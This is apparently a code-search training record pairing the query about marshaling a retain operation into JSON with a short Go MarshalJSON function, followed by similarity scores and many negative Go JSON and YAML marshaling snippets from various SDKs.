[ "0.72596294", "0.7206266", "0.7052583", "0.6882109", "0.68818444", "0.6855969", "0.68410236", "0.6811011", "0.6792756", "0.67401934", "0.67381245", "0.6730914", "0.6726009", "0.66897005", "0.66872424", "0.668519", "0.66826296", "0.6677709", "0.66672146", "0.6664019", "0.664421", "0.6641217", "0.6638953", "0.6638953", "0.6625766", "0.66163605", "0.6581915", "0.6581915", "0.6555329", "0.6551487", "0.65459627", "0.65355563", "0.6534013", "0.65080786", "0.65027356", "0.64906853", "0.6485596", "0.64825106", "0.64816064", "0.6480315", "0.6465777", "0.6459244", "0.6453594", "0.64490193", "0.64485574", "0.643024", "0.64282745", "0.64272875", "0.64261615", "0.6410179", "0.6404087", "0.638181", "0.6379086", "0.63682944", "0.6349897", "0.6346437", "0.63377273", "0.63320225", "0.63301754", "0.6317527", "0.6291044", "0.6285449", "0.6278369", "0.6272178", "0.627074", "0.6260449", "0.62552285", "0.6255049", "0.62464213", "0.62421924", "0.6238234", "0.6236691", "0.6235515", "0.6234782", "0.62297136", "0.62225854", "0.6210233", "0.6206304", "0.62055457", "0.6204811", "0.6204353", "0.6200367", "0.61942106", "0.6190769", "0.6188932", "0.61887175", "0.6186317", "0.618497", "0.6178203", "0.6166287", "0.6165624", "0.61541194", "0.61506665", "0.61441255", "0.6130678", "0.61148494", "0.61025584", "0.6101578", "0.60979575", "0.6097953" ]
0.77694046
0
MarshalJSON will marshal a retain operation into JSON
func (op OpRetain) MarshalJSON() ([]byte, error) { return json.Marshal(op.Fields) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OpRetain) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Fields)\n}", "func (op *Operation) Marshal() ([]byte, error) {\n\treturn json.Marshal(op)\n}", "func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }", "func (m Lock) MarshalJSON() ([]byte, error) {\n\tvar _parts [][]byte\n\n\taO0, err := swag.WriteJSON(m.Reference)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\tvar data struct {\n\t\tCreatedAt strfmt.DateTime `json:\"created_at,omitempty\"`\n\n\t\tCreatedBy *UserReference `json:\"created_by,omitempty\"`\n\n\t\tExpiredAt strfmt.DateTime `json:\"expired_at,omitempty\"`\n\n\t\tIsDownloadPrevented bool `json:\"is_download_prevented,omitempty\"`\n\t}\n\n\tdata.CreatedAt = m.CreatedAt\n\n\tdata.CreatedBy = m.CreatedBy\n\n\tdata.ExpiredAt = m.ExpiredAt\n\n\tdata.IsDownloadPrevented = m.IsDownloadPrevented\n\n\tjsonData, err := swag.WriteJSON(data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, jsonData)\n\n\treturn swag.ConcatJSON(_parts...), nil\n}", "func (m StorageReplicationBlackout) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 1)\n\n\tvar dataAO0 struct {\n\t\tEnd string `json:\"End,omitempty\"`\n\n\t\tStart string `json:\"Start,omitempty\"`\n\t}\n\n\tdataAO0.End = m.End\n\n\tdataAO0.Start = m.Start\n\n\tjsonDataAO0, errAO0 := swag.WriteJSON(dataAO0)\n\tif errAO0 != nil {\n\t\treturn nil, errAO0\n\t}\n\t_parts = append(_parts, jsonDataAO0)\n\n\treturn swag.ConcatJSON(_parts...), nil\n}", "func (v EventBackForwardCacheNotUsed) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage87(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v cancelInvocationMessage) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson2802b09fEncodeGithubComPhilippseithSignalr7(w, v)\n}", "func (E ERC20Lock) Marshal() ([]byte, error) {\n\treturn json.Marshal(E)\n}", "func (v BackForwardCacheNotRestoredExplanation) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage102(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (obj ProductDiscountKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias ProductDiscountKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"product-discount\", Alias: (*Alias)(&obj)})\n}", "func handleKeep(w http.ResponseWriter, r *http.Request) {\n json.NewEncoder(w).Encode(keeps)\n}", "func (a *RemoveScriptToEvaluateOnNewDocumentArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}", "func (c *Container) MarshalJSON() ([]byte, error) {\n\tc.lock.RLock()\n\tdefer c.lock.RUnlock()\n\n\treturn json.Marshal((*jContainer)(c))\n}", "func (m CachePayload) Marshal() ([]byte, error) {\n\treturn m.MarshalJSON()\n}", "func (obj CartDiscountKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CartDiscountKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"cart-discount\", Alias: (*Alias)(&obj)})\n}", "func (sc *Contract) Marshal() ([]byte, error) {\n\treturn json.Marshal(sc)\n}", "func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (j *JSON) Marshal(target interface{}) (output interface{}, err error) {\n\treturn jsonEncoding.Marshal(target)\n}", "func (v BaseOpSubscription) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(w, v)\n}", "func (a *RemoveScriptToEvaluateOnLoadArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy RemoveScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}", "func (app *adapter) ToJSON(accesses Accesses) *JSONAccesses {\n\treturn createJSONAccessesFromAccesses(accesses)\n}", "func (v VPNClientRevokedCertificate) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"etag\", v.Etag)\n\tpopulate(objectMap, \"id\", v.ID)\n\tpopulate(objectMap, \"name\", v.Name)\n\tpopulate(objectMap, \"properties\", v.Properties)\n\treturn json.Marshal(objectMap)\n}", "func (s Signature) MarshalJSON() ([]byte, error) {\n return json.Marshal(s[:])\n}", "func (diff Diff) MarshalJSON() ([]byte, error) {\n var o map[string] interface{} = make(map[string] interface{})\n o[\"op\"] = diff.Operation\n o[\"id\"] = diff.Id\n o[\"type\"] = diff.Type\n o[\"data\"] = string(diff.Data)\n if diff.Attr.Key != \"\" {\n var a map[string] interface{} = make(map[string] interface{})\n a[\"key\"] = diff.Attr.Key\n if diff.Attr.Namespace != \"\" {\n a[\"ns\"] = diff.Attr.Namespace\n }\n if diff.Attr.Val != \"\" {\n a[\"val\"] = diff.Attr.Val\n }\n o[\"attr\"] = a\n }\n json, err := json.Marshal(&o)\n if err != nil {\n return nil, err\n }\n return json, nil\n}", "func (obj DiscountCodeKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias DiscountCodeKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"discount-code\", Alias: (*Alias)(&obj)})\n}", "func (m CachePayload) MarshalJSON() ([]byte, error) {\n\tif m == nil {\n\t\treturn []byte(\"null\"), nil\n\t}\n\treturn m, nil\n}", "func (obj StateKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias StateKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"state\", Alias: (*Alias)(&obj)})\n}", "func (enc *jsonEncoder) Free() {\n\tjsonPool.Put(enc)\n}", "func (obj PaymentKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias PaymentKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"payment\", Alias: (*Alias)(&obj)})\n}", "func (obj CartRemoveDiscountCodeAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveDiscountCodeAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeDiscountCode\", Alias: (*Alias)(&obj)})\n}", "func (a *CaptureSnapshotArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy CaptureSnapshotArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}", "func (obj StoreKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias StoreKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"store\", Alias: (*Alias)(&obj)})\n}", "func (s *Operation) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(*s)\n}", "func (e ExpressRouteCircuitReference) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", e.ID)\n\treturn json.Marshal(objectMap)\n}", "func (inc Incident) IncidentToJSON() ([]byte, error) {\n\treturn json.Marshal(inc)\n}", "func (r *DefaultObjectAccessControl) marshal(c *Client) ([]byte, error) {\n\tm, err := expandDefaultObjectAccessControl(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling DefaultObjectAccessControl: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}", "func (obj CartRecalculateAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRecalculateAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"recalculate\", Alias: (*Alias)(&obj)})\n}", "func (this *K8SResourceOverlayPatch) MarshalJSON() ([]byte, error) {\n\tstr, err := CommonMarshaler.MarshalToString(this)\n\treturn []byte(str), err\n}", "func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (a *CloseArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy CloseArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}", "func JSONMarshal(m JSONMarshaller) OptionFunc {\n\tif m == nil {\n\t\tm = NewJSONEncoder()\n\t}\n\treturn func(c *Currency) OptionFunc {\n\t\tprevious := c.jm\n\t\tc.jm = m\n\t\treturn JSONMarshal(previous)\n\t}\n}", "func (obj PriceKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias PriceKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"price\", Alias: (*Alias)(&obj)})\n}", "func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (obj CartUnfreezeCartAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartUnfreezeCartAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"unfreezeCart\", Alias: (*Alias)(&obj)})\n}", "func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}", "func (j *ModifyAckDeadlineRequest) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func newJSONEncoder() *jsonEncoder {\n\tenc := jsonPool.Get().(*jsonEncoder)\n\tenc.truncate()\n\treturn enc\n}", "func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (o Operations) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.NextLink != nil {\n\t\tobjectMap[\"nextLink\"] = o.NextLink\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (obj ProductKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias ProductKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"product\", Alias: (*Alias)(&obj)})\n}", "func (obj CartRemovePaymentAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemovePaymentAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removePayment\", Alias: (*Alias)(&obj)})\n}", "func BenchmarkRpcLeaseEncodeJSON(b *testing.B) {\n\tbenchmarkRpcLeaseEncode(b,\n\t\tencodeLeaseRequestJson, encodeLeaseReplyJson)\n}", "func (m ManagedProxyResource) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"expiresOn\", m.ExpiresOn)\n\tpopulate(objectMap, \"proxy\", m.Proxy)\n\treturn json.Marshal(objectMap)\n}", "func (v Commit) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonD2b7633eEncodeGithubComTovarischSuhovPipelineManagerInternalPkgGitlabModels2(w, v)\n}", "func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func Marshal(p Payload) ([]byte, error) {\n\treturn json.Marshal(p)\n}", "func (obj CartChangeLineItemQuantityAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartChangeLineItemQuantityAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"changeLineItemQuantity\", Alias: (*Alias)(&obj)})\n}", "func (v EventContextDestroyed) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoWebaudio2(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (o *A_2) SerializeJSON() ([]byte, error) {\r\n\treturn json.Marshal(o)\r\n}", "func (tr TrackedResource)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n if(tr.Tags != nil) {\n objectMap[\"tags\"] = tr.Tags\n }\n if(tr.Location != nil) {\n objectMap[\"location\"] = tr.Location\n }\n return json.Marshal(objectMap)\n }", "func (obj *cancel) MarshalJSON() ([]byte, error) {\n\tins := createJSONCancelFromCancel(obj)\n\treturn json.Marshal(ins)\n}", "func (v PlantainerShadowStateSt) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson5bd79fa1EncodeMevericcoreMcplantainer3(w, v)\n}", "func (e EndpointAccessResource) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"relay\", e.Relay)\n\treturn json.Marshal(objectMap)\n}", "func (obj CartSetDeleteDaysAfterLastModificationAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartSetDeleteDaysAfterLastModificationAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"setDeleteDaysAfterLastModification\", Alias: (*Alias)(&obj)})\n}", "func (v cancelInvocationMessage) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson2802b09fEncodeGithubComPhilippseithSignalr7(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v BackForwardCacheNotRestoredExplanationTree) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage101(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (c ContainerPropertiesInstanceView) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"currentState\", c.CurrentState)\n\tpopulate(objectMap, \"events\", c.Events)\n\tpopulate(objectMap, \"previousState\", c.PreviousState)\n\tpopulate(objectMap, \"restartCount\", c.RestartCount)\n\treturn json.Marshal(objectMap)\n}", "func (r *Interconnect) marshal(c *Client) ([]byte, error) {\n\tm, err := expandInterconnect(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling Interconnect: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}", "func (obj CartKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CartKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"cart\", Alias: (*Alias)(&obj)})\n}", "func (c *Counter) MarshalJSON() ([]byte, error) {\n\trate := c.ComputeRate()\n\treturn ([]byte(\n\t\tfmt.Sprintf(`{\"current\": %d, \"rate\": %f}`, c.Get(), rate))), nil\n}", "func (v BaseOpSubscription) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (c *Counter) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(c.value)\n}", "func (a *ClearCompilationCacheArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy ClearCompilationCacheArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}", "func (l LiveEventPreviewAccessControl) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"ip\", l.IP)\n\treturn json.Marshal(objectMap)\n}", "func (obj CategoryKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CategoryKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"category\", Alias: (*Alias)(&obj)})\n}", "func (v RemoveSymbolFromWatchlistRequest) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(w, v)\n}", "func (v VirtualNetworkConnectionGatewayReference) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", v.ID)\n\treturn json.Marshal(objectMap)\n}", "func (v BaseOp) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(w, v)\n}", "func (m Offload) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 3)\n\n\taO0, err := swag.WriteJSON(m.OffloadPost)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\taO1, err := swag.WriteJSON(m.ResourceNoID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO1)\n\n\taO2, err := swag.WriteJSON(m.OffloadOAIGenAllOf2)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO2)\n\treturn swag.ConcatJSON(_parts...), nil\n}", "func JSONEncoder() Encoder { return jsonEncoder }", "func (v EventCompilationCacheProduced) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage86(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (a *SetProduceCompilationCacheArgs) MarshalJSON() ([]byte, error) {\n\ttype Copy SetProduceCompilationCacheArgs\n\tc := &Copy{}\n\t*c = Copy(*a)\n\treturn json.Marshal(&c)\n}", "func (v ClearCompilationCacheParams) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage95(w, v)\n}", "func (v EventBackForwardCacheNotUsed) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage87(w, v)\n}", "func (v count) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker42(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v ShadowStateDeltaSt) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonB7ed31d3EncodeMevericcoreMccommon4(w, v)\n}", "func (v VPNServerConfigVPNClientRevokedCertificate) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", v.Name)\n\tpopulate(objectMap, \"thumbprint\", v.Thumbprint)\n\treturn json.Marshal(objectMap)\n}", "func (obj CustomObjectKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CustomObjectKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"key-value-document\", Alias: (*Alias)(&obj)})\n}", "func (c Container) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", c.ID)\n\treturn json.Marshal(objectMap)\n}", "func (j *ModifyAckDeadlineResponse) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "func (v ConnectionUpdate) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer28(w, v)\n}", "func (k KeyDelivery) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"accessControl\", k.AccessControl)\n\treturn json.Marshal(objectMap)\n}", "func (obj CartReference) MarshalJSON() ([]byte, error) {\n\ttype Alias CartReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"cart\", Alias: (*Alias)(&obj)})\n}", "func (obj CartRemoveLineItemAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartRemoveLineItemAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"removeLineItem\", Alias: (*Alias)(&obj)})\n}", "func (r *Instance) marshal(c *Client) ([]byte, error) {\n\tm, err := expandInstance(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling Instance: %w\", err)\n\t}\n\n\treturn json.Marshal(m)\n}", "func (rmwaps ResourceModelWithAllowedPropertySet)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n if(rmwaps.Location != nil) {\n objectMap[\"location\"] = rmwaps.Location\n }\n if(rmwaps.ManagedBy != nil) {\n objectMap[\"managedBy\"] = rmwaps.ManagedBy\n }\n if(rmwaps.Kind != nil) {\n objectMap[\"kind\"] = rmwaps.Kind\n }\n if(rmwaps.Tags != nil) {\n objectMap[\"tags\"] = rmwaps.Tags\n }\n if(rmwaps.Identity != nil) {\n objectMap[\"identity\"] = rmwaps.Identity\n }\n if(rmwaps.Sku != nil) {\n objectMap[\"sku\"] = rmwaps.Sku\n }\n if(rmwaps.Plan != nil) {\n objectMap[\"plan\"] = rmwaps.Plan\n }\n return json.Marshal(objectMap)\n }", "func (v Mode) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer16(w, v)\n}", "func (obj ProductVariantKeyReference) MarshalJSON() ([]byte, error) {\n\ttype Alias ProductVariantKeyReference\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"typeId\"`\n\t\t*Alias\n\t}{Action: \"product-variant\", Alias: (*Alias)(&obj)})\n}", "func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func ReMarshal(in, out interface{}) error {\n\tj, err := json.Marshal(in)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(j, out)\n}" ]
[ "0.5750004", "0.55759436", "0.54684263", "0.5425846", "0.5231512", "0.5211123", "0.5131773", "0.5079047", "0.5069765", "0.5060536", "0.5039563", "0.5022548", "0.5019293", "0.49997476", "0.49869797", "0.4982175", "0.49781758", "0.4964321", "0.494803", "0.49363446", "0.49304426", "0.49290153", "0.49275938", "0.4922518", "0.49188417", "0.49163562", "0.49027634", "0.4901466", "0.48976856", "0.48969254", "0.48964983", "0.48933032", "0.48922956", "0.4884167", "0.4877545", "0.48760855", "0.48731703", "0.4872946", "0.48701188", "0.48663968", "0.48659575", "0.48597273", "0.48536772", "0.48513538", "0.48488313", "0.48378608", "0.48371872", "0.48324844", "0.4831327", "0.4829591", "0.48228818", "0.4821896", "0.48181644", "0.48143944", "0.47963113", "0.47961298", "0.47927082", "0.4791374", "0.47868764", "0.47853738", "0.47836834", "0.478329", "0.4781332", "0.47812986", "0.47766283", "0.47760555", "0.47756302", "0.47655916", "0.4763286", "0.4763172", "0.47627258", "0.4759284", "0.47587898", "0.4751745", "0.47457898", "0.47416362", "0.47408417", "0.47333246", "0.4733085", "0.47275564", "0.47247902", "0.4720522", "0.47192538", "0.4719002", "0.47185564", "0.47131684", "0.4707919", "0.47046414", "0.47045267", "0.4704477", "0.4704473", "0.470228", "0.47008476", "0.46964937", "0.46955395", "0.4692939", "0.46917492", "0.46892402", "0.46887287", "0.4687172" ]
0.6406999
0
MarshalYAML will marshal a retain operation into YAML
func (op OpRetain) MarshalYAML() (interface{}, error) { return op.Fields, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}", "func (o Op) MarshalYAML() (interface{}, error) {\n\treturn map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t}, nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}", "func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}", "func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}", "func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}", "func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}", "func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}", "func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}", "func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}", "func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn 